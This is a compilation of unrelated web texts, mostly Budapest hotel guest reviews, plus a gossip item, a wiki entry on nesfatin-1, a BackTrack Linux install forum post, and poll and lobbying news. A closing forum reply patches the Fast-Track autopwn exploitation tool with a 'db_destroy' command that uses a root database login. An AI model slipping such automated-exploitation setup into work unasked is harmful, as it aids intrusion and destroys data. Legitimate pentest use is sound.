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The concierge was extremely knowledgeable and resourceful. He was very helpful arranging trips and events for us.
beautiful building nicely restored and with very nice details
The spa, and the friendly staff The room was quite small, for a 5 star hotel. Location could have been slightly better.
The friendliness of all the hotel staff. The hotel itself convenient to market and shops. Th food in the restaurant was excellent. We had an apartment which was luxurious unfortunately it was over one of the conference rooms and was very noisy one night as there was a party being held. Music did stop at one but a lot of door banging with staff coming and going after that.
staff very friendly and helpful. no complaints whatsoever. Service was excellent.
Hotel was centrally located for sites and public transportation. Staff were very gracious and breakfast ,afternoon tea and evening appitizers were a plus. The air conditioning did not work as well as it should have. However, all other features offset this condition.
Excellent customer service! Everyone was very nice and helpful.
Everything was amazing!!!!!!!!!!!!!!!!!!!!!!!!!! No bad points
The staff were just wonderful and the room was excellent. the whole experience was just wonderful. I transfered to another Budapest 5-star hotel which was part of a tour and the hotel was just not in the same class as the Corinthina. No
excellent facilities and service no
Very helpfull, i got a free checkout for free. nothing
lovely helpfull staff,nice live music.
location, size of room, folks at front desk were very helpful
Staff attentivness
central location, good quality no tea/cofee making facilities in the room and no bath robes
I have been planning to stay in Budapest for over a year now. It was really important to me that the hotel has an excellent location and I preferred the spa experience over the view of the Danube. However... Only my first day was I able to use the sauna. I was the one who had to discover that it is broken and over heating. I had a burn mark from the previous day and the next morning I discovered that the thermo meter is not working any more it was extremely hot in there and since they could not fix the problem they had to shut it down for the rest of my stay... I was disappointed since that was the reason I booked Kempinski...
This hotel was in the most perfect location! The Xmas market was right behind the hotel, the river and Chain bridge were about 2-3 blocks away, and the famous shopping street, Vaci uti was 1 block away. The rooms were so comfortable, and they provided slippers and plush bathrobes. The perfumed smell in the lobby and hallways was a bit overwhelming (luckily it did not permeate the rooms or it would have been a problem). They kept playing an Ad for their hotel on the TV which I found sexist and offensive (showing their maid taking a bubble bath and dressing in a lace thong before coming to work at the Kempinski hotel chain (what is that all about?).
Staff very helpful. good sized room and value for money on the special deal we had Breakfast expensive
All was excellent!
Fabulous Hotel. Staff extremely helpful. Rooms spotless. In an excellent location 5 minutes walk from the Opera House, 5 minutes to main shopping area. We got excellent value as we were staying for more than 4 nights. We would highly recommend this hotel to anyone going for a break to the beautiful city of Budapest. It was very expensive for drinks or to eat in but this did not cause a problem as it is so central and there is a huge choice right outside your door.
Given a free upgrade with great views. Fantastic location too.
The hotel is very nicely situated. The room (normal double) was pleasantly furnished (colours, materials) and spacious. Especially bathroom was both rational and impressive. The overall impression and experience was very pleasant. At the same time, the room begins to show minor marks of ageing; small stains here and there, desk somewhat battered. Tv set small/old fashioned and did not work fully all the time. The personnel is professional and helpful - yet more discreet than friendly. The fitness center was modestly equipped and small; hooks or lockers for bathrobe/towel would also be useful.
loction, comfort,view,value for money Queen size rather than king siza mattress in superior room
Tram lines right next to it, friendly staff, beautiful building - inside and out, amazing breakfast buffet, very nice restaurant and bar attached to it, comfortable beds, easy access to Gellert Baths. The carpet and minibar in my room looked a little outdated, but everything was clean and comfortable so that was just a minor issue.
english breakfast, clean bathroom, large portions in restaurants, hotel staff speaks english and german, great view (danube, hills) room needs refurbishment, hotel price is too expensive
The Spa was relaxing The room was old and worn down. I had better expectations.
excellent breakfast the Internet access is expensive and in fact does not work as the company that supplies it did not solve the problem that when (as very often happens) the connection goes down there is need to call the company for a logout before you can login again
Decent size room; location near River; restaurant on the ground floor; public transit options Very old with signs of deferred maintenance. E.g. The upstairs bathroom leaked and made a mess of our bathroom. The good thing is the hotel staff came right away and fixed the problem. The location of hotel is far from the major tourist attractions as it is on the Buda side of the river. The SPA IS A HUGE DISAPPOINTMENT: it reminds me an old hotel swimming pool with freezing cold water.
all was perfect....all was ok....staff and rooms too!!! i tell to all customers that gellert is shure the best hotel in budapest....no chance for others hotel to compare with gellert position too!!!! dr agnelli nothing.
location and facilties no
Excellent staff and services. Very quiet and confortable place. Great value for money spent. Perfect location. Beautiful thermal baths included in the price of the room. Maybe the moquette on the floor in the room
The hotel is old but clean and well maintained. Our rooms were large and the bathrooms huge by European standards. The beds were comfortable, the breakfast is great and access is very easy by metro and bus, both right across the street from the hotel. The thermal spas were fantastic and although busy not crowded. Use the spas on the side of the swimming pool, it attracts less visitors. Staff were all friendly and helpful. Will certainly return.
access to the spa
The interior common areas are beautiful. The room I eventually received was great. The breackfast buffet was the best of 10 hotels in 3 countries. The "single" room was a hot, noisy shoebox, not merely a "room with one bed". An absence of water in the shower forced a hasty, gracious upgrade to a lovely room. The baths were dilapidated and disappointing- website photos out-dated. Thermal bath not available to females- upgrade in progress, I think (hope)..
Staff was attentive and pleasant. Breakfast is amazing, huge and many choices which is included in room price. Price was very reasonable. Access to the bath house is so convenient and guests get discounted entry, it's wonderful to walk down in your big terry cloth robe and enjoy the bath house, towels are also provided by the hotel, added perk. Tram is directly across the street and allows access to all directions in the city. Views are stunning of the bridges and river. We were there in November so not crowded at all. The furniture in the rooms is shabby chic, looks like the original furniture from 1918. Despite the furniture it's comfortable and the linens are clean and good quality. They could use new pillows, they are down but very flat.
Spent nice 2 nights in the hotel with friends. It is a hotel as it should be a quality one. No complaint. Too expensive breakfast which we rather not had.
The attitude of the receptionist from spa area. All other staff attitude was ok.
Three room apartment was very nice for a four person family. Rooms were large and goodlooking. Aquaworld was of great pleasure to the kids, also the parents had a fine time. Room was an apartment so there could have been more cups, waterheater and some other tools to make a litlle evening snack. Breakfasts and dinners were quite expencive to be eaten every day. Kids were a bit tired to come to the restaurant and a nice cosy snack could have been nicer some times.
The best is Aquaworld. Thank Mr ágoston (Reservation Clerk) for understanding for the problems I had with my credit card and acceptance of our reservation, regardless of these problems. Staff to manipulate prices spa center - I have twice paid in, at the entrance on spa (did not get the bill) and on the desk when I was checking out. My English is not so good but I know staff or poorly understood or pretending to not understand what I am talking about this issue (I often travel and I have not similar problems).
The staff was very friendly, spoke good English and very helpful. The facilities were excellent and well kept. The spa was very professional and my wife really enjoyed her treatments there. The dinners we had at the restaurant were well prepared and presented. We will most definitely stay there again. Thank you for a wonderful stay. The prices were a little high for the spa services.
Big rooms, kind staff and small but nice swimming pool - indoor and outdoor both heated 32-34 C. Even though it is far a way from city center, it offers free shuttle bus to city center and it takes 20 minutes ride. No shower cap, no conditioner in the room, however you can request it from the reception. Entrance to the swimming pool and aqua park is not free, but it cost only eur 10 per person. Aqua world is not very safe one, I wouldn't visit again, however other facilities are good.
We loved using the Aquaworld during our stay at the Ramada Resort in Budapest. The room is spacious and clean. There is also a free bus service to the Heroes Square which comes handy. It's the perfect Hotel for families with young children. Our two year old daughter and my 7 month pregnant wife loved it. The Hotel offers also free wifi, which I used to keep in touch with family and friends via social networks on my smart-phone (avoiding Roaming charges) and also there are computers with printer available on the internet room near reception which are handy for on-line check-in for example. The taxi we booked through reception was much cheaper than the taxi we took at the airport. After 7 days we where a bid fed-up of the lack of variety offered for Breakfast - every day the same. For example no Oranges, Strawberries, Cherries, Kiwi, Pineapple, Mango, Mellon, Nectarines, Grapefruit or fresh juices available. Croissants where terrible. Only highly processed cereals. Not a genuinely Continental breakfast offered as we expected.
This was our second stay at Aquaworld, we have two kids so we stayed in the three-roomed apartments, which are very nice - spacious, clean, well equipped. The swimming pools are excellent. The service on our second stay was not as good as our first experience. We arrived at 14:30hrs and was told our room was not ready (check-in is 14:00hrs, check-out 10:00hrs) after a three-hour drive to get there. After a 40 min wait we decided to take an alternative apartment.
pools and spa area
I like almost everything The dinner was expansive and not ver good
The location of this hotel suited us very well. It was close to the main shopping streets and restaurant areas, and it was also between two metro stops which made it very easy to move around the city. The room we stayed in was very basic. We had issues with our room the first night and had to request to be moved to another room, which was quite inconvenient. As it was three girls, staying in a disabled room (the only ones they have as triple rooms, apparently!), the mirror and plug access for drying hair, etc, was very poor.
Central location. Friendly and helpful staff.
The air conditioning didn't work properly. It was awfully hot in the room (25°C in November). I got one of the four nights for free (which is nice for my boss).
Walking in to the centre of Pest, The breakfast was excellent with lots of choice and plenty of it. Reception staff were not very good at giving help and directions when asked how to get somewhere.
this hotel is really a great one. everything is excellent in this hotel. if you go to budapest , this hotel is the only choice. the reception staff is excellent. thanks .
Great location, great breakfast, nice staff, WiFi signal at floor 4 Did not work, so i had to go down to reception to use internet
Hotel was very clean, well designed, excellent location - you can get to the center in less than 5 minutes walking. Breakfast buffet was also very impressive.
Great location, good and friendly service
Location Room very noisy. Extra charge to use the swimming pool and sauna. Had to pay extra for breakfast.
Hotel was very clean and modern - loved the decor. Hotel staff were exceptionally helpful and friendly. The hotel provided loads of information on arrival including suggested tours, public transport, recommended restaurants, etc. Only one small complaint and that is that the spa facilities are not really big enough for a hotel of that size. For example, the changing rooms at the wellness centre (pool, sauna, jacuzi etc) would only just squeeze about 4 people in at a time. Only enough sunbeds on the roof terrace for about 8. For a hotel with 200+ rooms - not really big enough and at the end of the day when everyone returns from sightseeing and wants a quick dip in the pool - just not enough room/space.
Breakfast, swimming pool
Superiror value for euro spent which exceeded my expectations! I was unable to stay longer.
The staff on the reception was helpful and polite.
The hotel staff are really helps, the rooms are comfort,clean and beautiful The pool cost money
The hotel had a beautiful lobby and the rooms were well-equipped and clean. At first blush, the neighborhood seemed quite gritty but upon further exploration, we found some great restaurants and cafes and ended up really liking the location. The standard room we booked was quite cramped with a king-sized bed. Also, the hotel charges an extra fee to use the pool and sauna.
This was my second stay at this hotel. It was a pleasure to walk into that impressive reception area again, and I also enjoyed sitting in the Gallery bar for some food and drink. Room was again comfortable with a useful laptop-size safe and well-stocked minibar. When you take a shower and discover that the floor is wet don't be surprised. The shower screen hangs on a pivot and there is a 5mm gap between the pivot and the bath itself. Both my rooms were like that, so it's not a one-off.
food from the restaurant locationn
Very nice hotel, first class. Price should include pool use and some breakfast.
Really relaxing stay. We could hear noise from the siderooms - was a little bit annoying in the early morning.
Where to start with the good points??!!! As soon as we walked in we were looked after - cases taken to our room and shown the vital pieces of equipment. The hotel is spotless. The dining room is superb and the staff very friendly and I would recommend it to every type of traveller young or old. go for the revolving door alone. Nothing that I would call bad. if anything we thought the mini bar prices were expenisve - but hey, I'm having to be really picky.
Good location with reasonable price No sign board , hard to find . Pay after not the day you arrive . Cash only not accept any credit card .
It is the best choice if you are planning to visit Budapest.Everything was better than expected.The apartment was full of needful things.The location is just perfect if you want to explore budapest, everything is very near within walking distance(metro, 24 hrs supermarket etc).What was really helpful was the taxi service! They came and picked us up for the airport and when we were leaving they took us back to the airport.That was very convenient and in reasonable price.Next time I visit budapest I will choose the same hotel- apartment. I was very pleased Nothing at all.Everything was perfect!
Apartment located on Pest side and its in the middle of everything...near two grocery stores and tons of restaurant...I give it five stars for cleanliness,location, staff, value for your money...upon arrival you receive complimentary wine it has a fridge, stove, dishwasher, and just a washer machine no dryer tho...but again near everything and staff help book tours.
Perfect appartment and perfect location in the city
Excellent location, facilities and staff. Woulkd stay again and recommend.
The situation of the hotel is very good, in the centrum, near metro and river Donau. Public traffic function very well, metro, tram, buses, easy to use.
it is in the center of Budapest, near it is an important metro station
It was a modern apartment, very well equipped kitchen, perfect location, and very reasonable price.
The location was ideal for the main tram link to all areas. it was also in an excellent place for shopping and dining out (especially the Trophea restaurant 5 mins down the road). Took ages to find the entrance to the appartments, only to find they were under our noses. Very poorly signposted and nobody we asked knew where they were. tip: Entrance is via what looks like the entrance to a shopping arcade (signposted as 'Central Passage'), door on left.
It was a fine flat in the middle of everything, we enjoyed it very much. We were not able to use the dish washer.. Maybee we did something wrong, but if it is something special you had to do.. It wasnt told us.
The location was excellent, just one block from Deak Ter and within walking distance of everything you want to see in Budapest. Deak Ter is also the connection point for all 3 metro lines, so going to destinations further afield is a snap. There are a ton of cafes and restaurants on the street, and even a 24-hour mini-market across the street. The apartment itself was comfortable, clean and light-filled. The hotel staff were incredibly nice and accomodating, and even threw in a free bottle of hungarian wine with the room! The noise. It was like a disco inferno in the apartment every night. The apartment is directly above a bar, and there is loud music all night every night. I mean, when you stay right downtown you have to expect some street noise. But this is like trying to get some shut-eye in the middle of a bar. It continues until at least 4am, so this apartment is not recommended for light sleepers!
The staff were tremendous and catered for your every need, the experience of executive club was second to none and well worth the little bit extra you pay
very helpful staff. There were no executive rooms left so I was up-graded to the apartment! not close to city centre. You must reach it by car or taxi
Room and spa with pools area. Lobby was also nice and warm Location. Also I did not understood the prices in Lotos bar. We had drink that should be about 50-60 Euro and they charged 100. Some hidden cost seems to be.
nice executive rooms; nice separate breakfast for executive room customers + lounge; good internet connection; shuttle bus some more active "hellos" and "good mornings" in the breakfast wouldn't do any harm (=some of the staff)
Very helpful staff. Good facilities. The hotel is too far from the city centre, though once mastered the public transport is useful and cheap.
Use of the pool I was afraid of water when I arrived was swimming before I left, the three different pools made this possible
the bed was very comfortable no balcony and not able to open windows any better
all the hotel facilities,staff, rooms were excellent. Its an international hotel therefore the lobbies are always busy with in tours coming and going. We arrived by car and the hotel is placed a long way out, which might make it difficult to find. We soon found our bearings and with free public transport for over 65s and an excellent restaurant round the corner it turned out to be a very good choice
The spa pools were very good Very expensive breakfast
The spa facilities and the general running of the place. The air con could not be turned off and this lead to a perminant sore throat/ cold, I complained and was offered another room, but found that room had the same problem, this I realised was a function of the main hotel AC. The cost of items of food and drinks in the room bar was in my opinion excessive for example, a 500ml bottle of water was charged at approx £2.34, the cost for the same bottle outside of the hotel was approx.£0.25p. Whilst accepting that the hotel will add a margin, approx 1000% seems a little high.
Staff were extremely friendly. Hotel was beautiful with a lovely spa. The hotel is not very big which we felt was a bonus, it meant we got a very personal touch.
Location and spacious rooms. Good value for the money. Not really a 5* hotel with suites, more like good apartment hotel***. If you are looking 5* luxury, it's not a place for you.
Really happy with everything
Everything about our stay was fantastic. The free wifi connections was very good and the staff were all very professional. Ten out of ten. I feel breakfast could have been included in the price.
no internet conection even with the help of hotel's staf
staff nothing
parking, very comfortable quiet suite, good breakfast, nice swimming pool we got bathrobes when we asked for them, crowdy breakfast room, entrance of spa area is not designed good - there is no place to change your cloth
Everything. Most of all the helping polite friendly staf To leave......
the rooms were clean and comfortable. the elevatorsecond weren't frenzy located. the breakfast was expensive relatively
location, look, big room, spa, parking, good breakfast, hotel staff, not noisy just one tinny soap in bathroom :). Everithing else was pretty good.
excellent hotel, staff lovely, couldnt do enough for you no
Wonderful place to stay. Staff very accommodating. Food great. Atmosphere stunning.
Fantastic renovation with a lot of taste . Superb restaurant , where also the food was of very good level .
My wife and I were pleasantly surprised at the size and the comfort of of our bedroom and bath. The service wass very slow, and once they simply forgot what I had requested over the phone, even though we had chosen the top accomodation available at your site ( and at the hotel, we suppose).The lady at the front desk was very impatient to helping us choose the best tour.
Lobby. Room. Spa. We liked all about this hotel !!!
Exceptional staff at this hotel. Gracious, polite, helpful, cheerful. A delight in every way.
Beautiful historic building with lavish features inside and out. No detail overlooked from front desk customer service to house keeping, everyone is friendly, professional and efficient. A well oiled machine that has exceeded our expectations on multiple visits. No complaints, the staff went above and beyond.
The staff was extremely attentive. They remembered details about what i liked into the next day. Everyone was polite and well mannered. The food was delicious and the wine waiter knew his subject. The meal could not have been more perfect. The chef worked with my lactose intolerance and modified the food. n/a
On a trip to several countries, the Boscolo staff was definitely the least friendly of all the hotels we stayed at. I'm not sure if it was because we were younger than their typical crowd splurging on a nice hotel or what but they seemed like the couldn't care less that we were there. They were not very helpful, and two employees confirmed that we had prepaid for breakfast then the host at the breakfast buffet informed us after we ate that it was not included and presented us with a bill. The hotel did nothing to attempt to explain why this had happened.
The day time house cleaning staff needs attention. Our room was not made up either morning of our stay. When informed, the hotel was responsive. The room was beaufiful and the bathroom large and luxurious. The location of hotel was very good. We would highly recommend staying at this hotel.
The lobby is magnificent, the room was lovely. It's about 15 min from the "center" IE the chain bridge. Pieter the concierge is wonderful and very helpful. The food is hit or miss, I enjoyed the goulash and parsely spaetzle. Most of the desserts were too sweet.
Like the building and the New York cafe which is situated inside the hotel the pool and spa area is very good as well
Beautiful, luxurious hotel, a real treat, wonderful staff Area wasn't the best
A very nice view
The location and view Staff was not that helpful
Great location.
excellent location
Comfort of beds. Room position and views. Use of Executive lounge. Location for both shopping and tourism Mugs & milk for in-room coffee/tea taken by housekeeping & not replaced daily
With it's incredible view of the Buda castle, this hotel has the best location The building is old ; very small and ugly bathroom , rather adequate for a 3* hotel, no slippers or bath gown, no bidet. Not a 5* hotel, never go back again, there are too many other good choises in this beautiful city.
The Marriott Budapest is located next to everything. We loved the views in the evening. The staff really went out of their way to ensure we were satisfied.
We enjoyed our stay The barhroom size in the Suite was rather small. It could benefit from an larger bathroom etc.
really good location for sightseeing. Nice big room and polite staff. Good breakfast. bathroom was empty: no robber, no flip-flops, only shampoo, conditioner and body lotion. For the money that they want it can be better.
The convenient location and friendly staff. Yes, I believe the breakfasts are much too high. After all - continental breakfast -water(coffee) Juice and pastry- hardly merits $21.++
Used the health club. Organised a city tour.
Location. Useof the executive club. Views from the hotel Room cleaning staff were inefficient. One day did not clean room. We had to aske each day to have our room cleaned. When it was cleaned, it was done well,
Excellent location and great breakfast. Concierge staff excellent, we needed to get a taxi to the country and she ordered the taxi then came out to talk to the drive to ensure he new where to take us. Check in staff not very welcoming, in fact he was on the phone for some of the process, didn't offer any information about the hotel, breakfast times etc. Only one pair of slippers in the room and two towels for a Twin room, called housekeeping to ask for more items to be brought to the room, an hour later they still hadn't brought them so had to call again. Next day no towels in room as they had run out, left a note in room to say they would be delivered but they never did. Obviously don't cope well if the hotel is full.
I stayed with family and we have very good experience and it was good advantage of possibility to access business center 24/7.
Fantastic location... you can't get any closer to the chain bridge. Great room, friendly staff and very efficient service.
Location, room The concierge was not professional, not that friendly and tried to send us to the places she is getting higher commission from. It was very unpleasant experience. We had to go to the next door hotels to get the info we needed. I think that 5 stars hotel can do much better in giving its guests an accurate info.
The location is great, also the lobby and restaurant, lounge. I ordered room service in the evening and the first thing in the morning someone of the staff tried to enter the room to pick up the dishes, later they came back and knocked, first they tried to open using a key card, they woke me up around 8 am. Up to then it was all good, friendly staff, great location, maybe they need some extra dishes.
Virtually everything was great! Had no complaints.
Comfortable bed The hotel smells like sewer gas, everywhere. The rooms are outdated, dingy, and dirty. Housekeeping was lazy or poorly trained. This hotel did not maintain the standards of other Sofitels. However, the staff were friendly. I sought compensation for the problems encountered and they gave us free transportation to the train station.
Terrific location, right next to Chain Bridge and less than a 5-minute walk to the edge of the main square. Gorgeous views of Castle Hill as soon as you walk outside. Easy walk to the bridge and funicular starting point. The room had absolutely no view; it just looked out onto other rooms.
I like best the service ans the breakfast which was excellent. The staff was very helpful and nice. Also, the restaurant of the hotel "Paris-Budapest" was fantastic! I did not like the difference in prices between the hotel's taxy and the local. Hotel's taxy takes more then double local price. Also the fitness room was really poorly organised. There were a few weihgtlifts and one treadmill, which was occupied all the time.
Breakfast and location
Excellent location Allowed early check in Clean and comfortable room Nothing
service, service, service! Nothing really...
I really like Gozsdu Court. It's small and friendly. Main atrations are in walking distance or you can take metro (tram). And off course - value for money.
Clean nice room, good facilities, central location, upgraded room due to studio not available Did not have record of booking at office, had to contact other office. Room booked unavailable, office to hand back key does not open until 9am.
The apartments are superbly located on the edge of the up and coming Jewish Quarter. They are in a very new multi million euro development and are very good quality. Staff helpful.
Very good situation in town. Very recent renovation. No mattress protector, only a sheet on the bed.
Great location. Walking distance to everything. Have stayed a lot in Budapest and these are the best apartments we've stayed at in Budapest. Well appointed, free wireless and very helpful staff. Would stay again without hesitation Nothing major - wireless internet signal in our apartment was inconsistent/ slow. No credit card facilities...have to pay account in cash.
Location cleness fornitures service (check-in/check-ou fleibility, staff available and near)
Price, location No bad points!
We stayed the first night in our one room apartment which was good but very noisy evening. So they moved us to a three room apartment which was excelent. Very good location. Loads of restaurants within 10 mins walk. Opera well worth a visit - 10 mins away. The first apartment, they moved us, really noisy on 1st floor, didn't have a curtain for the kids sofa bed, sheets could have been cleaner.
Excellent value--great staff--super location--lovely apartment--top notch !!
View on the Danube was really great, provided of course that you pay the extra money for it. Spa facilities were great The location was in an industrial area far from center. The massage services were below expectations.
JSTV is available.
My daughter and I liked the Spa-area the best. But we also liked the food. Not overwhelming but really, really good. I must say that now a days, one is not used to pay for the use of the Wi-Fi.
Spacious hall There was no a welcome coctail as confirmed in the booking. The internet was very expensive. Receptionist not friendly. Small rooms and also the toilets
the hotel
the spa
good staff,very comfortable spa center,very clean room and the other hotel fascilities
Location of the hotel is very good, it works for me , nice parking and the food was very good . You need to improve your service
I like SPA facilities location (distance of the centre of de city)
Spa was excellent! A bit far from the city center, but it is acceptable.
Nice modern hotel, good location close to St. Stephen's basilica. The breakfasts were good.
The bed and staff were very helpful/friendly The smoking. Everywhere you went you could smell cigarette smoke
Location Not so new furniture in rooms, still very nice and modern bathrooms.
The receptionists were generally VERY helpful, including one who worked the phone for ten or fifteen minutes and got me an incomprehensible deal on a personal day trip to the tokaji wine region, picked up and dropped off at the hotel, with tours of three vineyards and tastings with the nicest guide ever, scheduled less than two days before the trip. This wad a highlight of my stay in Hungary. They also let me extend my stay for two additional nights jist the day before my scheduled checkout, although the cost of the room went up rather significsntly (it was very cheap to start, though, considering the quality of the hotel). The typical hotel provisions to the room are rather minimal though (soap extremely tiny, no slippers, only one box of tissues), so I found myself asking for things at the front desk a lot, which made me feel a bit awkward.
Excellent Facilities,great location
The hotel is very comfortable and perfectly located in Pest. Having a gym and cable internet is very convenient.
Excellent location right in the city center. Beautiful, clean lobby, refurbished rooms, very helpful staff. Probably the most comfortable stay I've ever had in a city. -
The staff was friendly and hard working. The breakfast was great and kept me full until supper time. The room was spacious, clean, and quiet. Enjoyed using the treadmill in the fitness center. With today's strong US dollar, you can live like a king in Budapest at the K+K Hotel. Nothing worth mentioning.
Excellent location. Very close to metro and busses. Quiet location just off main street. Steps from opera house. Room was very nice . Comfortable bed, clean. I was on first floor and the view was of wall. Not a problem as I did not spend much time in the room. The breakfast was excellent with great variety. Staff helpful and friendly.
Great hotel! Clean and right in the middle of Budapest (the opera house is literally right next door). Front desk (Agnes) was very helpful and accommodateing. Breakfast was nice as well. Would definitely return. The room key system is a little strange, not bad, just strange.
Staff was very helpful and nice location. Pullout bed wasn't bad
convenience, cleanliness, modern, good breakfast
Location and quality of room. Excellent service from all staff. Price of breakfast was expensive; even for 5 star hotel.
the location!!!!!!!!!! everything was ok!
Location Room well equiped but a bit smelly... Old type of shower spraying everywhere, noisy but not efficient aircondition. Even when the price was relatively fine (thanks to early and non refundable booking) it is highly probable I will not return.
I stayed just one night it is therefore difficult to say any more
The staff were excellent, including the desk staff, bellman, doorman, and driver! They couldn't have been nicer! The location of the hotel is also first-rate. It offers an excellent view of the river and is situated close to many sight-seeing attractions. Smoking is permitted in the hotel lobby/bar. It made for an unpleasant entrance into the hotel. The bathroom in the room was small as well.
Spacious room, great club lounge with nice selection of food and beverages Staff at reception rather unfriendly. Staff coming into the room despite 'don't disturb' sign on the door.
Good accommodation and excellent dining facilities
nice room, perfect location and excellent service from the staff
Excellent location, very friendly and helpful staff The swimming pool was cold
Location, obvious...the hotel is located on Danube's embankment, with a gorgeous view. The architecture of the hotel...it's ugly (this is my personal view.).


text: US Weekly had first reported that after Beyonce sang a song or two at the Superbowl this weekend that Michelle Williams and Kelly Rowland would join her on stage and that of course would be a Destiny's Child reunion. Michelle Williams says it is not going to happen. She is in some musical and has two performances that day. I guess Michelle is afraid of using an understudy? Maybe she is holding out for a bigger paycheck. What Michelle probably doesn't realize is that Beyonce would be perfectly willing to use a cardboard cutout of Michelle or a hologram. I'm not sure she thinks that Michelle's appearance is vital to the success of a Destiny's Child reunion. Michelle did say the trip recorded a song together before the holidays.

subset: commoncrawl


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Assessment |
Biopsychology |
Comparative |
Cognitive |
Developmental |
Language |
Individual differences |
Personality |
Philosophy |
Social |
Methods | Statistics | Clinical | Educational | Industrial | Professional items | World psychology |
Biological: Behavioural genetics · Evolutionary psychology · Neuroanatomy · Neurochemistry · Neuroendocrinology · Neuroscience · Psychoneuroimmunology · Physiological Psychology · Psychopharmacology (Index, Outline)
Nesfatin-1 is a hormone and a naturally occurring protein molecule produced by the brain of mammals. Japanese scientists discovered in 2006 that it is responsible for regulating appetite and production of body fat.[1] Excess nesfatin-1 in the brain leads to a loss of appetite, less frequent hunger, a 'sense of fullness', and a drop in body fat and weight. A lack of nesfatin-1 in the brain leads to an increase of appetite, more frequent episodes of hunger, an increase of body fat and weight, and the inability to 'feel full.' This latter condition can be artificially induced by injecting an anti-nesfatin-1 antibody into the brain. The receptors within the brain are not completely understood, although they are thought to be contained in the hypothalamus and in the solitary nucleus, where nesfatin-1 is believed to produced via peroxisome proliferator-activated receptors (PPARs).
Through observation, it appears there is also some unknown relationship between nesfatin-1 and cannaboid receptors. However its precise mechanism and effect remain controversial. Discovery and study of nesfatin-1 was assisted by Hiroyuki Shimizu at Gunma University Graduate School of Medicine within the Medicine and Molecular Science department with assistance by research conducted at Saitama University (Saitama, Japan) and the Nippon Medical College (Tokyo, Japan).
See alsoEdit
- ↑ Oh-I S, Shimizu H, Satoh T, et al (2006). Identification of nesfatin-1 as a satiety molecule in the hypothalamus. Nature 443 (7112): 709–12.
External linksEdit
- A Scientific Article Mentioning Nesfatin-1
- A News Article Announcing the Discovery of Nesfatin-1
- MeSH nesfatin-1+protein,+rat
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fixed this one by removing GRUB+Ubuntu and using LILO
I think it could be fixed by changing hda to sda but nvm that
I tried installing BackTrack but got some errors...
My machine: toshiba a100 683 laptop with 120 GB HD
How I installed Backtrack:
I had some problems partitioning my HD so I removed Ubuntu first. My filesystem now looks like this:
NTFS C drive windows 55 GB primary
NTFS D drive windows 44 GB primary
swapdrive 300 MB primary
--start extended-- primary
Linux ext3 Ubuntu logical
Linux ext3 Backtrack logical
--end extended--
after removing Ubuntu 7.10 I installed backtrack, I used vmware and my disk as a physical disk.
I booted backtrack in VMware while running Windows and installed the system using the slax installer.
Set /boot as source
/mnt/hda6 as destination
/dev/hda as MBR
The installation went smooth so I rebooted the system in VMware and Windows popped up. I think the LILO boot loader should start here but it didn't.
Not much of a problem so I inserted Ubuntu 7.10 disc and installed this one on /dev/sda5 (not using VMware anymore).
GRUB installed itself and I rebooted. I saw the GRUB boot menu with 2 times Ubuntu and Windows once. Slax not on the list.
I went into Ubuntu to set up some stuff and appended the boot menu with this:
title Backtrack
root (hd0,5)
kernel /boot/vmlinuz rw root=dev/hda6
Restarted and tried to start backtrack. GRUB said this after pressing enter on it: file not found.
Restarted into Windows, copied vmlinuz from the backtrack2final cd to /boot on the Backtrack disk.
Reboot again, this time in VMware. Backtrack started up but said something about root being busy or in use. I just pressed enter to continue.
Backtrack finally started but it was in VMware.
Shut down Windows and tried to start BackTrack, now I get errors like:
unable to mount root on /dev/hda6 and unknown root, kernel panic and after that endless Spurious ACK messages
"Spurious ACK on isa0060/serio0. Some program might be trying access hardware directly"
Thanks in advance
fixed this one by removing GRUB+Ubuntu and using LILO
I think it could be fixed by changing hda to sda but nvm that


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Modern and Classical Languages and Literatures
The Department of Modern and Classical Languages and Literatures offers the Bachelor of Arts (B.A.) degree in Chinese, Classical Studies, French, German, Italian, and Spanish (described in alphabetical order), a minor in Arabic Language and Culture, as well as course work in Modern Greek, Hebrew, Japanese, Portuguese, and Russian.
Faculty: Professor Hedderich, chairperson.


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Original journalism from the Center's OpenSecrets Blog
Lobbying Firm's Ties to Tobacco Go Up In Smoke
July 18, 2014 | Recent upheaval in the tobacco lobbying world comes simultaneously with the announcement that two giant cigarette producers– Reynolds American and Lorillard Inc — had agreed on a $27.4 billion merger. As news of the potential deal was breaking, a throng of Lorrillard lobbyists defected from Dickstein Shapiro to set up shop at Greenberg Traurig LLP,…
For Outgoing Lawmakers, Connections Mean Chance to Cash In
December 26, 2012 | It's that time of the year where retiring members of Congress or those who were forced out by voters begin looking for jobs elsewhere -- such as K Street. Making the jump from lawmaker to lobbyist is lucrative. Some members aren't even waiting for their terms to expire.
Power Struggle: Energy Industries Open Up the Pipeline to Democrats
July 17, 2008 | President Bush's decision this week to lift the federal moratorium on offshore drilling defied the Democratic Party's long-held opposition to oil exploration along the U.S. coastline. But recently more Democrats are indicating that they might change their minds, leaving environmentalists wondering whether the lawmakers will stick to their ideological guns or be swayed by high gas prices and campaign contributions from big industries.
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WASHINGTON, DC -- More Americans now regard obesity as a more serious public health issue than they do cigarette smoking, according to a new Gallup poll.
Of those surveyed in the nationwide poll, 81% consider obesity to be an "extremely" or "very" serious problem, up from 69% who said the same in 2005, which was the last time Gallup asked the question.
Nearly four in 10 Americans now say obesity is an extremely serious problem to society, more than the 30% who say the same about cigarettes and 18% about alcohol. The percentage who say obesity is an extremely serious problem is also up from 27% in 2005.
Americans polled by Gallup were equally divided in their view that it is "extremely" or "very" important to have federal government programs that address the health risks associated with obesity (57%) and smoking (55%), despite their higher level of concern about obesity. Slightly fewer said programs addressing excessive alcohol consumption are extremely or very important (48%).
Obesity concerns cross party lines, with eight in 10 Republicans, Democrats and independents agreeing that obesity is an extremely or very serious problem to society. However, while the vast majority of Democrats say they think it is extremely or very important to have federal government programs to address obesity, fewer than three in 10 Republicans say the same.
Gallup attributed rising obesity rates and Americans' awareness of the trend as contributing to their growing concerns about the problems it is causing society. In 2010, 35.7% of U.S. adults were obese, up from 32.7% in 2005, according to statistics from the Centers for Disease Control and Prevention.
The research firm also observed that First lady Michelle Obama's high-profile nationwide anti-childhood obesity campaign launched in 2010 may have also impacted Americans' perceptions of the severity of the issue.
The poll's results were based on telephone interviews conducted this month with a random sample of 1,014 adults living in all 50 U.S. states and the District of Columbia.


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thanks for that
Great post and walk through. I was still having issues with it working after following the steps but here is what I did to get it to work for me.
in the file autopwn.py ( located /pentest/exploits/fasttrack/bin/ftsrc ) around line 83
change line 88
change line 90Code:child1.sendline ('db_destroy postgres:root@localhost/pentest')
